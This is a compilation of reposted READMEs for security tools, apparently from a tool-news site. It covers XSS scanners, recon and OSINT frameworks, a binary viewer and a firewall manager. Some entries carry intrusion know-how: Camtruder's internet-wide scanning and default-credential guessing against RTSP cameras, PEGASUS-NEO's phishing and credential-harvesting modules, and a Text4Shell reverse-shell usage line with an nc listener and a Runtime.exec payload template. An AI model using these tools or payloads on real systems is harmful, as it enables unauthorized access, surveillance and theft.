    Can Scrapling replace code built on top of BeautifulSoup4?

    Pretty much yeah, almost all features you get from BeautifulSoup can be found or achieved in Scrapling one way or another. In fact, if you see there's a feature in bs4 that is missing in Scrapling, please make a feature request from the issues tab to let me know.

    Can Scrapling replace code built on top of AutoScraper?

    Of course, you can find elements by text/regex, find similar elements in a more reliable way than AutoScraper, and finally save/retrieve elements manually to use later as the model feature in AutoScraper. I have pulled all top articles about AutoScraper from Google and tested Scrapling against examples in them. In all examples, Scrapling got the same results as AutoScraper in much less time.

    Is Scrapling thread-safe?

    Yes, Scrapling instances are thread-safe. Each Adaptor instance maintains its state.

    More Sponsors!

    Contributing

    Everybody is invited and welcome to contribute to Scrapling. There is a lot to do!

    Please read the contributing file before doing anything.

    Disclaimer for Scrapling Project

    [!CAUTION] This library is provided for educational and research purposes only. By using this library, you agree to comply with local and international laws regarding data scraping and privacy. The authors and contributors are not responsible for any misuse of this software. This library should not be used to violate the rights of others, for unethical purposes, or to use data in an unauthorized or illegal manner. Do not use it on any website unless you have permission from the website owner or within their allowed rules like the robots.txt file, for example.

    License

    This work is licensed under BSD-3

    Acknowledgments

    This project includes code adapted from: - Parsel (BSD License) - Used for translator submodule

    Thanks and References

    Known Issues

    • In the auto-matching save process, the unique properties of the first element from the selection results are the only ones that get saved. So if the selector you are using selects different elements on the page that are in different locations, auto-matching will probably return to you the first element only when you relocate it later. This doesn't include combined CSS selectors (Using commas to combine more than one selector for example) as these selectors get separated and each selector gets executed alone.

    Designed & crafted with ❀️ by Karim Shoair.



    VulnKnox - A Go-based Wrapper For The KNOXSS API To Automate XSS Vulnerability Testing

    By: Unknown


    VulnKnox is a powerful command-line tool written in Go that interfaces with the KNOXSS API. It automates the process of testing URLs for Cross-Site Scripting (XSS) vulnerabilities using the advanced capabilities of the KNOXSS engine.


    Features

    • Supports pipe input for passing file lists and echoing URLs for testing
    • Configurable retries and timeouts
    • Supports GET, POST, and BOTH HTTP methods
    • Advanced Filter Bypass (AFB) feature
    • Flash Mode for quick XSS polyglot testing
    • CheckPoC feature to verify the proof of concept
    • Concurrent processing with configurable parallelism
    • Custom headers support for authenticated requests
    • Proxy support
    • Discord webhook integration for notifications
    • Detailed output with color-coded results

    Installation

    go install github.com/iqzer0/vulnknox@latest

    Configuration

    Before using the tool, you need to set up your configuration:

    API Key

    Obtain your KNOXSS API key from knoxss.me.

    On the first run, a default configuration file will be created at:

    Linux/macOS: ~/.config/vulnknox/config.json
    Windows: %APPDATA%\VulnKnox\config.json
    Edit the config.json file and replace YOUR_API_KEY_HERE with your actual API key.

    Discord Webhook (Optional)

    If you want to receive notifications on Discord, add your webhook URL to the config.json file or use the -dw flag.

    Usage

    Usage of vulnknox:

    -u Input URL to send to KNOXSS API
    -i Input file containing URLs to send to KNOXSS API
    -X GET HTTP method to use: GET, POST, or BOTH
    -pd POST data in format 'param1=value&param2=value'
    -headers Custom headers in format 'Header1:value1,Header2:value2'
    -afb Use Advanced Filter Bypass
    -checkpoc Enable CheckPoC feature
    -flash Enable Flash Mode
    -o The file to save the results to
    -ow Overwrite output file if it exists
    -oa Output all results to file, not just successful ones
    -s Only show successful XSS payloads in output
    -p 3 Number of parallel processes (1-5)
    -t 600 Timeout for API requests in seconds
    -dw Discord Webhook URL (overrides config file)
    -r 3 Number of retries for failed requests
    -ri 30 Interval between retries in seconds
    -sb 0 Skip domains after this many 403 responses
    -proxy Proxy URL (e.g., http://127.0.0.1:8080)
    -v Verbose output
    -version Show version number
    -no-banner Suppress the banner
    -api-key KNOXSS API Key (overrides config file)

    Basic Examples

    Test a single URL using GET method:

    vulnknox -u "https://example.com/page?param=value"

    Test a URL with POST data:

    vulnknox -u "https://example.com/submit" -X POST -pd "param1=value1&param2=value2"

    Enable Advanced Filter Bypass and Flash Mode:

    vulnknox -u "https://example.com/page?param=value" -afb -flash

    Use custom headers (e.g., for authentication):

    vulnknox -u "https://example.com/secure" -headers "Cookie:sessionid=abc123"

    Process URLs from a file with 5 concurrent processes:

    vulnknox -i urls.txt -p 5

    Send notifications to Discord on successful XSS findings:

    vulnknox -u "https://example.com/page?param=value" -dw "https://discord.com/api/webhooks/your/webhook/url"

    Advanced Usage

    Test both GET and POST methods with CheckPoC enabled:

    vulnknox -u "https://example.com/page" -X BOTH -checkpoc

    Use a proxy and increase the number of retries:

    vulnknox -u "https://example.com/page?param=value" -proxy "http://127.0.0.1:8080" -r 5

    Suppress the banner and only show successful XSS payloads:

    vulnknox -u "https://example.com/page?param=value" -no-banner -s

    Output Explanation

    [ XSS! ]: Indicates a successful XSS payload was found.
    [ SAFE ]: No XSS vulnerability was found in the target.
    [ ERR! ]: An error occurred during the request.
    [ SKIP ]: The domain or URL was skipped due to multiple failed attempts (e.g., after receiving too many 403 Forbidden responses as specified by the -sb option).
    [BALANCE]: Indicates your current API usage with KNOXSS, showing how many API calls you've used out of your total allowance.

    The tool also provides a summary at the end of execution, including the number of requests made, successful XSS findings, safe responses, errors, and any skipped domains.

    Contributing

    Contributions are welcome! If you have suggestions for improvements or encounter any issues, please open an issue or submit a pull request.

    License

    This project is licensed under the MIT License.

    Credits

    @KN0X55
    @BruteLogic
    @xnl_h4ck3r



    Camtruder - Advanced RTSP Camera Discovery and Vulnerability Assessment Tool

    By: Unknown


    Camtruder is a high-performance RTSP camera discovery and vulnerability assessment tool written in Go. It efficiently scans and identifies vulnerable RTSP cameras across networks using various authentication methods and path combinations, with support for both targeted and internet-wide scanning capabilities.


    🌟 Key Features

    • Advanced Scanning Capabilities
    • Single IP targeting
    • CIDR range scanning
    • File-based target lists
    • Pipe input support
    • Internet-wide scanning with customizable limits
    • Intelligent port discovery
    • Location-based search using RIPE database
    • Raw CIDR output for integration with other tools

    • Screenshot Capability

    • Capture screenshots of discovered cameras
    • Automatic saving of JPEG images
    • Requires ffmpeg installation
    • Configurable output directory

    • Location-Based Search

    • Search by city or country name
    • RIPE database integration
    • Detailed output with netnames and IP ranges
    • CIDR notation support
    • Raw output mode for scripting

    • Comprehensive Authentication Testing

    • Built-in common credential database
    • Custom username/password list support
    • File-based credential input
    • Multiple authentication format handling
    • Credential validation system

    • Smart Path Discovery

    • Extensive default path database
    • Vendor-specific path detection
    • Dynamic path generation
    • Automatic path validation

    • High Performance Architecture

    • Multi-threaded scanning engine
    • Configurable connection timeouts
    • Efficient resource management
    • Smart retry mechanisms
    • Parallel connection handling

    • Advanced Output & Analysis

    • Real-time console feedback
    • Detailed logging system
    • Camera fingerprinting
    • Vendor detection
    • Stream capability analysis
    • Multiple output formats (verbose, raw)

    πŸ“‹ Requirements

    • Go 1.19 or higher
    • ffmpeg (required for screenshot functionality)
    • Internet connection
    • Root/Administrator privileges (for certain scanning modes)
    • Sufficient system resources for large-scale scans

    πŸ”§ Installation

    Using go install (recommended)

    go install github.com/ALW1EZ/camtruder@v3.7.0

    From source

    git clone https://github.com/ALW1EZ/camtruder.git
    cd camtruder
    go build

    πŸš€ Usage

    Basic Commands

    # Scan a single IP
    ./camtruder -t 192.168.1.100

    # Scan a network range
    ./camtruder -t 192.168.1.0/24

    # Search by location with detailed output
    ./camtruder -t london -s
    > [ NET-ISP ] [ 192.168.1.0/24 ] [256]

    # Get raw CIDR ranges for location
    ./camtruder -t london -ss
    > 192.168.1.0/24

    # Scan multiple IPs from file
    ./camtruder -t targets.txt

    # Take screenshots of discovered cameras
    ./camtruder -t 192.168.1.0/24 -m screenshots

    # Pipe from port scanners
    naabu -host 192.168.1.0/24 -p 554 | camtruder
    masscan 192.168.1.0/24 -p554 --rate 1000 | awk '{print $6}' | camtruder
    zmap -p554 192.168.0.0/16 | camtruder

    # Internet scan (scan till 100 hits)
    ./camtruder -t 100

    Advanced Options

    # Custom credentials with increased threads
    ./camtruder -t 192.168.1.0/24 -u admin,root -p pass123,admin123 -w 50

    # Location search with raw output piped to zmap
    ./camtruder -t berlin -ss | while read range; do zmap -p 554 $range; done

    # Save results to file (as full url, you can use mpv --playlist=results.txt to watch the streams)
    ./camtruder -t istanbul -o results.txt

    # Internet scan with limit of 50 workers and verbose output
    ./camtruder -t 100 -w 50 -v

    πŸ› οΈ Command Line Options

    Option Description Default
    -t Target IP, CIDR range, location, or file Required
    -u Custom username(s) Built-in list
    -p Custom password(s) Built-in list
    -w Number of threads 20
    -to Connection timeout (seconds) 5
    -o Output file path None
    -v Verbose output False
    -s Search only - shows ranges with netnames False
    -ss Raw IP range output - only CIDR ranges False
    -po RTSP port 554
    -m Directory to save screenshots (requires ffmpeg) None

    πŸ“Š Output Formats

    Standard Search Output (-s)

    [ TR-NET-ISP ] [ 193.3.52.0/24 ] [256]
    [ EXAMPLE-ISP ] [ 212.175.100.136/29 ] [8]

    Raw CIDR Output (-ss)

    193.3.52.0/24
    212.175.100.136/29

    Scan Results

    ╭─ Found vulnerable camera [Hikvision, H264, 30fps]
    β”œ Host : 192.168.1.100:554
    β”œ Geo : United States/California/Berkeley
    β”œ Auth : admin:12345
    β”œ Path : /Streaming/Channels/1
    β•° URL : rtsp://admin:12345@192.168.1.100:554/Streaming/Channels/1

    ⚠️ Disclaimer

    This tool is intended for security research and authorized testing only. Users are responsible for ensuring they have permission to scan target systems and comply with all applicable laws and regulations.

    πŸ“ License

    This project is licensed under the MIT License - see the LICENSE file for details.

    πŸ™ Acknowledgments

    • Thanks to all contributors and the security research community
    • Special thanks to the Go RTSP library maintainers
    • Inspired by various open-source security tools

    πŸ“¬ Contact


    Made by @ALW1EZ



    Frogy2.0 - An Automated External Reconnaissance And Attack Surface Management (ASM) Toolkit

    By: Unknown


    Frogy 2.0 is an automated external reconnaissance and Attack Surface Management (ASM) toolkit designed to map out an organization's entire internet presence. It identifies assets, IP addresses, web applications, and other metadata across the public internet and then smartly prioritizes them with highest (most attractive) to lowest (least attractive) from an attacker's playground perspective.


    Features

    • Comprehensive recon:
      Aggregate subdomains and assets using multiple tools (CHAOS, Subfinder, Assetfinder, crt.sh) to map an organization's entire digital footprint.

    • Live asset verification:
      Validate assets with live DNS resolution and port scanning (using DNSX and Naabu) to confirm what is publicly reachable.

    • In-depth web recon:
      Collect detailed HTTP response data (via HTTPX) including metadata, technology stack, status codes, content lengths, and more.

    • Smart prioritization:
      Use a composite scoring system that considers homepage status, login identification, technology stack, and DNS data and much more to generate risk score for each assets helping bug bounty hunters and pentesters focus on the most promising targets to start attacks with.

    • Professional reporting:
      Generate a dynamic, colour-coded HTML report with a modern design and dark/light theme toggle.

    Risk Scoring: Asset Attractiveness Explained

    In this tool, risk scoring is based on the notion of asset attractivenessβ€”the idea that certain attributes or characteristics make an asset more interesting to attackers. If we see more of these attributes, the overall score goes up, indicating a broader "attack surface" that adversaries could leverage. Below is an overview of how each factor contributes to the final risk score.

    Screenshots


    1. Purpose of the Asset

    • Employee-Intended Assets
      If a subdomain or system is meant for internal (employee/colleague) use, it's often higher value for attackers. Internal portals or dashboards tend to hold sensitive data or offer privileged functionality. Therefore, if the domain is flagged as employee‐only, its score increases.

    2. URLs Found

    • Valid/Accessible URL
      If the tool identifies a workable URL (e.g., HTTP/HTTPS) for the asset, it means there's a real endpoint to attack. An asset that isn't listening on a web port or is offline is less interestingβ€”so any resolvable URL raises the score slightly.

    3. Login Interfaces

    • Login Pages
      The presence of a login form indicates some form of access control or user authentication. Attackers often target logins to brute‐force credentials, attempt SQL injection, or exploit session handling. Thus, any discovered login endpoint bumps the score.

    4. HTTP Status 200

    • Accessible Status Code
      If an endpoint actually returns a 200 OK, it often means the page is legitimately reachable and responding with content. A 200 OK is more interesting to attackers than a 404 or a redirectβ€”so a 200 status modestly increases the risk.

    5. TLS Version

    • Modern vs. Outdated TLS
      If an asset is using older SSL/TLS protocols (or no TLS), that's a bigger risk. However, to simplify:
    • TLS 1.2 or 1.3 is considered standard (no penalty).
    • Anything older or absent is penalized by adding to the score.

    6. Certificate Expiry

    • Imminent Expiry
      Certificates expiring soon (within a few weeks) can indicate potential mismanagement or a higher chance of downtime or misconfiguration. Short‐term expiry windows (≀ 7 days, ≀ 14 days, ≀ 30 days) add a cumulative boost to the risk score.

    7. Missing Security Headers

    • Security Header Hygiene
      The tool checks for typical headers like:
    • Strict-Transport-Security (HSTS)
    • X-Frame-Options
    • Content-Security-Policy
    • X-XSS-Protection
    • Referrer-Policy
    • Permissions-Policy

    Missing or disabled headers mean an endpoint is more prone to common web exploits. Each absent header increments the score.

    8. Open Ports

    • Port Exposure
      The more open ports (and associated services) an asset exposes, the broader the potential attack surface. Each open port adds to the risk score.

    9. Technology Stack (Tech Count)

    • Number of Technologies Detected
      Attackers love multi‐tech stacks because more software β†’ more possible CVEs or misconfigurations. Each identified technology (e.g., Apache, PHP, jQuery, etc.) adds to the overall attractiveness of the target.

    Putting It All Together

    Each factor above contributes one or more points to the final risk score. For example:

    1. +1 if the purpose is employee‐intended
    2. +1 if the asset is a valid URL
    3. +1 if a login is found
    4. +1 if it returns HTTP 200
    5. +1 if TLS is older than 1.2 or absent
    6. +1–3 for certificates expiring soon (≀ 30 days)
    7. +1 for each missing security header
    8. +1 per open port
    9. +1 per detected technology
    10. +1 per each management ports open
    11. +1 per each database ports open

    Once all factors are tallied, we get a numeric risk score. Higher means more interesting and potentially gives more room for pentesters to test around to an attacker.

    Why This Matters
    This approach helps you quickly prioritize which assets warrant deeper testing. Subdomains with high counts of open ports, advanced internal usage, missing headers, or login panels are more complex, more privileged, or more likely to be misconfiguredβ€”therefore, your security team can focus on those first.

    Installation

    Clone the repository and run the installer script to set up all dependencies and tools:

    chmod +x install.sh
    ./install.sh

    Usage

    chmod +x frogy.sh
    ./frogy.sh domains.txt

    Video Demo

    https://www.youtube.com/watch?v=LHlU4CYNj1M

    Future Roadmap

    • Completed βœ… ~~Adding security and compliance-related data (SSL/TLS hygiene, SPF, DMARC, Headers etc)~~
    • Completed βœ… ~~Allow to filter column data.~~
    • Completed βœ… ~~Add more analytics based on new data.~~
    • Completed βœ… ~~Identify login portals.~~
    • Completed βœ… ~~Basic dashboard/analytics if possible.~~
    • Completed βœ… ~~Display all open ports in one of the table columns.~~
    • Completed βœ… ~~Pagination to access information faster without choking or lagging on the home page.~~
    • Completed βœ… ~~Change font color in darkmode.~~
    • Completed βœ… ~~Identify traditional endpoints vs. API endpoints.~~
    • Completed βœ… ~~Identifying customer-intended vs colleague-intended applications.~~
    • Completed βœ… ~~Enhance prioritisation for target picking. (Scoring based on management ports, login found, customer vs colleague intended apps, security headers not set, ssl/tls usage, etc.)~~
    • Completed βœ… ~~Implement parallel run, time out functionality.~~
    • Completed βœ… ~~Scan SSL/TLS for the url:port pattern and not just domain:443 pattern.-~~
    • Completed βœ… ~~Using mouseover on the attack surface column's score, you can now know why and how score is calculated-~~
    • Completed βœ… ~~Generate CSV output same as HTML table.~~
    • Completed βœ… ~~Self-contained HTML output is generated now. So no need to host a file on web server to access results.~~
    • Completed βœ… ~~To add all DNS records (A, MX, SOA, SRV, CNAME, CAA, etc.)~~
    • Completed βœ… ~~Consolidate the two CDN charts into one.~~
    • Completed βœ… ~~Added PTR record column to the main table.~~
    • Completed βœ… ~~Implemented horizontal and vertical scrolling for tables and charts, with the first title row frozen for easier data reference while scrolling.~~
    • Completed βœ… ~~Added screenshot functionality.~~
    • Completed βœ… ~~Added logging functionality. Logs are stored at /logs/logs.log~~
    • Completed βœ… ~~Added extra score for the management and database ports exposed.~~
    • Solve the screen jerk issue.
    • Identify abandoned and unwanted applications.


    PEGASUS-NEO - A Comprehensive Penetration Testing Framework Designed For Security Professionals And Ethical Hackers. It Combines Multiple Security Tools And Custom Modules For Reconnaissance, Exploitation, Wireless Attacks, Web Hacking, And More

    By: Unknown


                                  ____                                  _   _ 
    | _ \ ___ __ _ __ _ ___ _ _ ___| \ | |
    | |_) / _ \/ _` |/ _` / __| | | / __| \| |
    | __/ __/ (_| | (_| \__ \ |_| \__ \ |\ |
    |_| \___|\__, |\__,_|___/\__,_|___/_| \_|
    |___/
    β–ˆβ–ˆβ–ˆβ–„ β–ˆ β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
    β–ˆβ–ˆ β–€β–ˆ β–ˆ β–“β–ˆ β–€ β–’β–ˆβ–ˆβ–’ β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆ β–€β–ˆ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–ˆ β–’β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–’ β–β–Œβ–ˆβ–ˆβ–’β–’β–“β–ˆ β–„ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–‘ β–“β–ˆβ–ˆβ–‘β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–’β–‘ β–ˆβ–ˆβ–ˆβ–ˆβ–“β–’β–‘
    β–‘ β–’β–‘ β–’ β–’ β–‘β–‘ β–’β–‘ β–‘β–‘ β–’β–‘β–’β–‘β–’β–‘
    β–‘ β–‘β–‘ β–‘ β–’β–‘ β–‘ β–‘ β–‘ β–‘ β–’ β–’β–‘
    β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–‘ β–’
    β–‘ β–‘ β–‘ β–‘ β–‘

    PEGASUS-NEO Penetration Testing Framework

    Β 

    πŸ›‘οΈ Description

    PEGASUS-NEO is a comprehensive penetration testing framework designed for security professionals and ethical hackers. It combines multiple security tools and custom modules for reconnaissance, exploitation, wireless attacks, web hacking, and more.

    ⚠️ Legal Disclaimer

    This tool is provided for educational and ethical testing purposes only. Usage of PEGASUS-NEO for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws.

    Developers assume no liability and are not responsible for any misuse or damage caused by this program.

    πŸ”’ Copyright Notice

    PEGASUS-NEO - Advanced Penetration Testing Framework
    Copyright (C) 2024 Letda Kes dr. Sobri. All rights reserved.

    This software is proprietary and confidential. Unauthorized copying, transfer, or
    reproduction of this software, via any medium is strictly prohibited.

    Written by Letda Kes dr. Sobri <muhammadsobrimaulana31@gmail.com>, January 2024

    🌟 Features

    Password: Sobri

    • Reconnaissance & OSINT
    • Network scanning
    • Email harvesting
    • Domain enumeration
    • Social media tracking

    • Exploitation & Pentesting

    • Automated exploitation
    • Password attacks
    • SQL injection
    • Custom payload generation

    • Wireless Attacks

    • WiFi cracking
    • Evil twin attacks
    • WPS exploitation

    • Web Attacks

    • Directory scanning
    • XSS detection
    • SQL injection
    • CMS scanning

    • Social Engineering

    • Phishing templates
    • Email spoofing
    • Credential harvesting

    • Tracking & Analysis

    • IP geolocation
    • Phone number tracking
    • Email analysis
    • Social media hunting

    πŸ”§ Installation

    # Clone the repository
    git clone https://github.com/sobri3195/pegasus-neo.git

    # Change directory
    cd pegasus-neo

    # Install dependencies
    sudo python3 -m pip install -r requirements.txt

    # Run the tool
    sudo python3 pegasus_neo.py

    πŸ“‹ Requirements

    • Python 3.8+
    • Linux Operating System (Kali/Ubuntu recommended)
    • Root privileges
    • Internet connection

    πŸš€ Usage

    1. Start the tool:
    sudo python3 pegasus_neo.py
    1. Enter authentication password
    2. Select category from main menu
    3. Choose specific tool or module
    4. Follow on-screen instructions

    πŸ” Security Features

    • Source code protection
    • Integrity checking
    • Anti-tampering mechanisms
    • Encrypted storage
    • Authentication system

    πŸ› οΈ Supported Tools

    Reconnaissance & OSINT

    • Nmap
    • Wireshark
    • Maltego
    • Shodan
    • theHarvester
    • Recon-ng
    • SpiderFoot
    • FOCA
    • Metagoofil

    Exploitation & Pentesting

    • Metasploit
    • SQLmap
    • Commix
    • BeEF
    • SET
    • Hydra
    • John the Ripper
    • Hashcat

    Wireless Hacking

    • Aircrack-ng
    • Kismet
    • WiFite
    • Fern Wifi Cracker
    • Reaver
    • Wifiphisher
    • Cowpatty
    • Fluxion

    Web Hacking

    • Burp Suite
    • OWASP ZAP
    • Nikto
    • XSStrike
    • Wapiti
    • Sublist3r
    • DirBuster
    • WPScan

    πŸ“ Version History

    • v1.0.0 (2024-01) - Initial release
    • v1.1.0 (2024-02) - Added tracking modules
    • v1.2.0 (2024-03) - Added tool installer

    πŸ‘₯ Contributing

    This is a proprietary project and contributions are not accepted at this time.

    🀝 Support

    For support, please email muhammadsobrimaulana31@gmail.com atau https://lynk.id/muhsobrimaulana

    βš–οΈ License

    This project is protected under proprietary license. See the LICENSE file for details.

    Made with ❀️ by Letda Kes dr. Sobri



    Text4Shell-Exploit - A Custom Python-based Proof-Of-Concept (PoC) Exploit Targeting Text4Shell (CVE-2022-42889), A Critical Remote Code Execution Vulnerability In Apache Commons Text Versions < 1.10

    By: Unknown


    A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation enabled, allowing injection of ${script:...} expressions to execute arbitrary system commands.

    In this PoC, exploitation is demonstrated via the data query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.

    Disclaimer: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.


    Description

    This is a custom Python3 exploit for the Apache Commons Text vulnerability known as Text4Shell (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by StringSubstitutor.

    Tested against: - Apache Commons Text < 1.10.0 - Java applications using ${script:...} interpolation from untrusted input

    Usage

    python3 text4shell.py <target_ip> <callback_ip> <callback_port>

    Example

    python3 text4shell.py 127.0.0.1 192.168.1.2 4444

    Make sure to set up a lsitener on your attacking machine:

    nc -nlvp 4444

    Payload Logic

    The script injects:

    ${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

    The reverse shell is sent via /data parameter using a POST request.



    Ghost-Route - Ghost Route Detects If A Next JS Site Is Vulnerable To The Corrupt Middleware Bypass Bug (CVE-2025-29927)

    By: Unknown


    A Python script to check Next.js sites for corrupt middleware vulnerability (CVE-2025-29927).

    The corrupt middleware vulnerability allows an attacker to bypass authentication and access protected routes by send a custom header x-middleware-subrequest.

    Next JS versions affected: - 11.1.4 and up

    [!WARNING] This tool is for educational purposes only. Do not use it on websites or systems you do not own or have explicit permission to test. Unauthorized testing may be illegal and unethical.

    Β 

    Installation

    Clone the repo

    git clone https://github.com/takumade/ghost-route.git
    cd ghost-route

    Create and activate virtual environment

    python -m venv .venv
    source .venv/bin/activate

    Install dependencies

    pip install -r requirements.txt

    Usage

    python ghost-route.py <url> <path> <show_headers>
    • <url>: Base URL of the Next.js site (e.g., https://example.com)
    • <path>: Protected path to test (default: /admin)
    • <show_headers>: Show response headers (default: False)

    Example

    Basic Example

    python ghost-route.py https://example.com /admin

    Show Response Headers

    python ghost-route.py https://example.com /admin True

    License

    MIT License

    Credits



    Bytesrevealer - Online Reverse Enginerring Viewer

    By: Unknown


    Bytes Revealer is a powerful reverse engineering and binary analysis tool designed for security researchers, forensic analysts, and developers. With features like hex view, visual representation, string extraction, entropy calculation, and file signature detection, it helps users uncover hidden data inside files. Whether you are analyzing malware, debugging binaries, or investigating unknown file formats, Bytes Revealer makes it easy to explore, search, and extract valuable information from any binary file.

    Bytes Revealer do NOT store any file or data. All analysis is performed in your browser.

    Current Limitation: Files less than 50MB can perform all analysis, files bigger up to 1.5GB will only do Visual View and Hex View analysis.


    Features

    File Analysis

    • Chunked file processing for memory efficiency
    • Real-time progress tracking
    • File signature detection
    • Hash calculations (MD5, SHA-1, SHA-256)
    • Entropy and Bytes Frequency analysis

    Multiple Views

    File View

    • Basic file information and metadata
    • File signatures detection
    • Hash values
    • Entropy calculation
    • Statistical analysis

    Visual View

    • Binary data visualization
    • ASCII or Bytes searching
    • Data distribution view
    • Highlighted pattern matching

    Hex View

    • Traditional hex editor interface
    • Byte-level inspection
    • Highlighted pattern matching
    • ASCII representation
    • ASCII or Bytes searching

    String Analysis

    • ASCII and UTF-8 string extraction
    • String length analysis
    • String type categorization
    • Advanced filtering and sorting
    • String pattern recognition
    • Export capabilities

    Search Capabilities

    • Hex pattern search
    • ASCII/UTF-8 string search
    • Regular expression support
    • Highlighted search results

    Technical Details

    Built With

    • Vue.js 3
    • Tailwind CSS
    • Web Workers for performance
    • Modern JavaScript APIs

    Performance Features

    • Chunked file processing
    • Web Worker implementation
    • Memory optimization
    • Cancelable operations
    • Progress tracking

    Getting Started

    Prerequisites

    # Node.js 14+ is required
    node -v

    Docker Usage

    docker-compose build --no-cache

    docker-compose up -d

    Now open your browser: http://localhost:8080/

    To stop the docker container

    docker-compose down

    Installation

    # Clone the repository
    git clone https://github.com/vulnex/bytesrevealer

    # Navigate to project directory
    cd bytesrevealer

    # Install dependencies
    npm install

    # Start development server
    npm run dev

    Building for Production

    # Build the application
    npm run build

    # Preview production build
    npm run preview

    Usage

    1. File Upload
    2. Click "Choose File" or drag and drop a file
    3. Progress bar shows upload and analysis status

    4. Analysis Views

    5. Switch between views using the tab interface
    6. Each view provides different analysis perspectives
    7. Real-time updates as you navigate

    8. Search Functions

    9. Use the search bar for pattern matching
    10. Toggle between hex and string search modes
    11. Results are highlighted in the current view

    12. String Analysis

    13. View extracted strings with type and length
    14. Filter strings by type or content
    15. Sort by various criteria
    16. Export results in multiple formats

    Performance Considerations

    • Large files are processed in chunks
    • Web Workers handle intensive operations
    • Memory usage is optimized
    • Operations can be canceled if needed

    Browser Compatibility

    • Chrome 80+
    • Firefox 75+
    • Safari 13.1+
    • Edge 80+

    Contributing

    1. Fork the project
    2. Create your feature branch (git checkout -b feature/AmazingFeature)
    3. Commit your changes (git commit -m 'Add some AmazingFeature')
    4. Push to the branch (git push origin feature/AmazingFeature)
    5. Open a Pull Request

    License

    This project is licensed under the MIT License - see the LICENSE.md file for details.

    Security Considerations

    • All strings are properly escaped
    • Input validation is implemented
    • Memory limits are enforced
    • File size restrictions are in place

    Future Enhancements

    • Additional file format support
    • More visualization options
    • Pattern recognition improvements
    • Advanced string analysis features
    • Export/import capabilities
    • Collaboration features


    CentralizedFirewall - Provides A Firewall Manager API Designed To Centralize And Streamline The Management Of Firewall Configurations

    By: Unknown


    Firewall Manager API Project

    Installation

    Follow these steps to set up and run the API project:

    1. Clone the Repository

    git clone https://github.com/adriyansyah-mf/CentralizedFirewall
    cd CentralizedFirewall

    2. Edit the .env File

    Update the environment variables in .env according to your configuration.

    nano .env

    3. Start the API with Docker Compose

    docker compose up -d

    This will start the API in detached mode.

    4. Verify the API is Running

    Check if the containers are up:

    docker ps

    Additional Commands

    Stop the API

    docker compose down

    Restart the API

    docker compose restart

    Let me know if you need any modifications! πŸš€

    How to setup for the first time and connect to firewall client

    1. Install Firewall Agent on your node server
    2. Run the agent with the following command
    sudo dpkg -i firewall-client_deb.deb
    1. Create a New Group on the Firewall Manager
    2. Create New API Key on the Firewall Manager
    3. Edit the configuration file on the node server
    nano /usr/local/bin/config.ini
    1. Add the following configuration
    [settings]
    api_url = API-URL
    api_key = API-KEY
    hostname = Node Hostname (make it unique and same as the hostname on the SIEM)
    1. Restart the firewall agent
    systemctl daemon-reload
    systemctl start firewall-agent
    1. Check the status of the firewall agent
    systemctl status firewall-agent
    1. You will see the connected node on the Firewall Manager

    Default Credential

    Username: admin
    Password: admin

    You can change the default credential on the setting page

    How to Integration with SIEM

    1. Install the SIEM on your server
    2. Configure the SIEM to send the log to the Firewall Manager (You can do this via SOAR or SIEM configuration) The request should be POST with the following format
    3. The format of the log should be like this
    curl -X 'POST' \
    'http://api-server:8000/general/add-ip?ip=123.1.1.99&hostname=test&apikey=apikey&comment=log' \
    -H 'accept: application/json' \
    -d ''

    You can see the swagger documentation on the following link

    http://api-server:8000/docs

    The .env detail configuration

    DB=changeme
    JWT_SECRET=changeme
    PASSWORD_SALT=changme
    PASSWORD_TOKEN_KEY=changme
    OPENCTI_URL=changme
    OPENCTI_TOKEN=changme

    Sponsor This Project πŸ’–

    If you find this project helpful, consider supporting me through GitHub Sponsors



    Maryam - Open-source Intelligence(OSINT) Framework

    By: Unknown


    OWASP Maryam is a modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly.


    Installation

    Supported OS

    • Linux
    • FreeBSD
    • Darwin
    • OSX
    $ pip install maryam

    Alternatively, you can install the latest version with the following command (Recommended):

    pip install git+https://github.com/saeeddhqan/maryam.git

    Usage

    # Using dns_search. --max means all of resources. --api shows the results as json.
    # .. -t means use multi-threading.
    maryam -e dns_search -d ibm.com -t 5 --max --api --form
    # Using youtube. -q means query
    maryam -e youtube -q "<QUERY>"
    maryam -e google -q "<QUERY>"
    maryam -e dnsbrute -d domain.tld
    # Show framework modules
    maryam -e show modules
    # Set framework options.
    maryam -e set proxy ..
    maryam -e set agent ..
    maryam -e set timeout ..
    # Run web API
    maryam -e web api 127.0.0.1 1313

    Contribution

    Here is a start guide: Development Guide You can add a new search engine to the util classes or use the current search engines to write a new module. The best help to write a new module is checking the current modules.

    Roadmap

    • Write a language model based search

    Links

    OWASP

    Wiki

    Install

    Modules Guide

    Development Guide

    To report bugs, requests, or any other issues please create an issue.



    TruffleHog Explorer - A User-Friendly Web-Based Tool To Visualize And Analyze Data Extracted Using TruffleHog

    By: Unknown


    Welcome toΒ TruffleHog Explorer, a user-friendly web-based tool to visualize and analyze data extracted using TruffleHog. TruffleHog is one of the most powerful secrets discovery, classification, validation, and analysis open source tool. In this context, a secret refers to a credential a machine uses to authenticate itself to another machine. This includes API keys, database passwords, private encryption keys, and more.

    With an improved UI/UX, powerful filtering options, and export capabilities, this tool helps security professionals efficiently review potential secrets and credentials found in their repositories.

    ⚠️ This dashboard has been tested only with GitHub TruffleHog JSON outputs. Expect updates soon to support additional formats and platforms.

    You can use online version here: TruffleHog Explorer
